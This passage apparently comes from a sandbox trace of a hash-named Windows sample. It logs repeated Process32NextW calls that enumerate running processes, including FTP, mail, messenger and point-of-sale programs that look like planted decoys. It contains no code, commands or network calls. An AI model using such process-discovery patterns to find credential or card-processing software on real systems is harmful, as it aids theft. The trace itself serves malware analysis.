th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.546] GetLastError () returned 0x12 [0051.546] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0051.547] GetLastError () returned 0x12 [0051.547] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0051.548] GetLastError () returned 0x12 [0051.548] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.549] GetLastError () returned 0x12 [0051.549] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0051.549] GetLastError () returned 0x12 [0051.549] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0051.550] GetLastError () returned 0x12 [0051.550] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x70c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0051.551] GetLastError () returned 0x12 [0051.551] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.551] GetLastError () returned 0x12 [0051.551] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0051.552] GetLastError () returned 0x12 [0051.552] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0051.553] GetLastError () returned 0x12 [0051.553] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0051.553] GetLastError () returned 0x12 [0051.554] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0051.554] GetLastError () returned 0x12 [0051.554] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0051.555] GetLastError () returned 0x12 [0051.555] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x49c, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0051.556] GetLastError () returned 0x12 [0051.556] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0051.556] GetLastError () returned 0x12 [0051.556] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="paper left.exe")) returned 1 [0051.557] GetLastError () returned 0x12 [0051.557] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="lead possible.exe")) returned 1 [0051.558] GetLastError () returned 0x12 [0051.558] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x968, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="store future.exe")) returned 1 [0051.559] GetLastError () returned 0x12 [0051.559] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="patient_coach_choose.exe")) returned 1 [0051.559] GetLastError () returned 0x12 [0051.559] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="bank_he.exe")) returned 1 [0051.560] GetLastError () returned 0x12 [0051.560] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="such_human.exe")) returned 1 [0051.561] GetLastError () returned 0x12 [0051.561] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="employee.exe")) returned 1 [0051.561] GetLastError () returned 0x12 [0051.561] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="music.exe")) returned 1 [0051.562] GetLastError () returned 0x12 [0051.562] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="societybitofficial.exe")) returned 1 [0051.563] GetLastError () returned 0x12 [0051.563] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="position_star.exe")) returned 1 [0051.564] GetLastError () returned 0x12 [0051.564] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="itself-material.exe")) returned 1 [0051.564] GetLastError () returned 0x12 [0051.564] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="homenothingbook.exe")) returned 1 [0051.565] GetLastError () returned 0x12 [0051.565] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="mean.exe")) returned 1 [0051.566] GetLastError () returned 0x12 [0051.566] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="problem-public-use.exe")) returned 1 [0051.566] GetLastError () returned 0x12 [0051.566] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0051.567] GetLastError () returned 0x12 [0051.567] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0051.568] GetLastError () returned 0x12 [0051.568] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0051.568] GetLastError () returned 0x12 [0051.569] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0051.569] GetLastError () returned 0x12 [0051.569] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0051.570] GetLastError () returned 0x12 [0051.570] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0051.571] GetLastError () returned 0x12 [0051.571] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0051.899] GetLastError () returned 0x12 [0051.899] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0051.900] GetLastError () returned 0x12 [0051.900] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0051.900] GetLastError () returned 0x12 [0051.900] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0051.901] GetLastError () returned 0x12 [0051.901] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0051.902] GetLastError () returned 0x12 [0051.902] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0051.902] GetLastError () returned 0x12 [0051.902] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0051.903] GetLastError () returned 0x12 [0051.903] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0051.904] GetLastError () returned 0x12 [0051.904] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0051.905] GetLastError () returned 0x12 [0051.905] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0051.906] GetLastError () returned 0x12 [0051.906] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0051.907] GetLastError () returned 0x12 [0051.907] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0051.908] GetLastError () returned 0x12 [0051.908] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0051.909] GetLastError () returned 0x12 [0051.909] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0051.910] GetLastError () returned 0x12 [0051.910] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0051.911] GetLastError () returned 0x12 [0051.912] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0051.912] GetLastError () returned 0x12 [0051.913] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0051.913] GetLastError () returned 0x12 [0051.913] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0051.914] GetLastError () returned 0x12 [0051.914] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0051.915] GetLastError () returned 0x12 [0051.915] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0051.916] GetLastError () returned 0x12 [0051.916] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0051.917] GetLastError () returned 0x12 [0051.917] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0051.919] GetLastError () returned 0x12 [0051.919] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0051.919] GetLastError () returned 0x12 [0051.920] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0051.920] GetLastError () returned 0x12 [0051.920] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0051.921] GetLastError () returned 0x12 [0051.921] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0051.922] GetLastError () returned 0x12 [0051.922] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0051.923] GetLastError () returned 0x12 [0051.923] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xacc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0051.924] GetLastError () returned 0x12 [0051.924] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0051.925] GetLastError () returned 0x12 [0051.925] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0051.926] GetLastError () returned 0x12 [0051.926] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0051.927] GetLastError () returned 0x12 [0051.927] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0051.928] GetLastError () returned 0x12 [0051.928] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="livepresidentlight.exe")) returned 1 [0051.928] GetLastError () returned 0x12 [0051.928] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xafc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="remove patient teacher.exe")) returned 1 [0051.929] GetLastError () returned 0x12 [0051.929] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="certainlyknow.exe")) returned 1 [0051.997] GetLastError () returned 0x12 [0051.997] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0051.998] GetLastError () returned 0x12 [0051.998] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0051.998] GetLastError () returned 0x12 [0051.999] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0051.999] GetLastError () returned 0x12 [0051.999] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0052.000] GetLastError () returned 0x12 [0052.000] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0052.001] GetLastError () returned 0x12 [0052.001] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe")) returned 1 [0052.002] GetLastError () returned 0x12 [0052.002] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xec0, pcPriClassBase=8, dwFlags=0x0, szExeFile="34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe")) returned 1 [0052.003] GetLastError () returned 0x12 [0052.003] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: 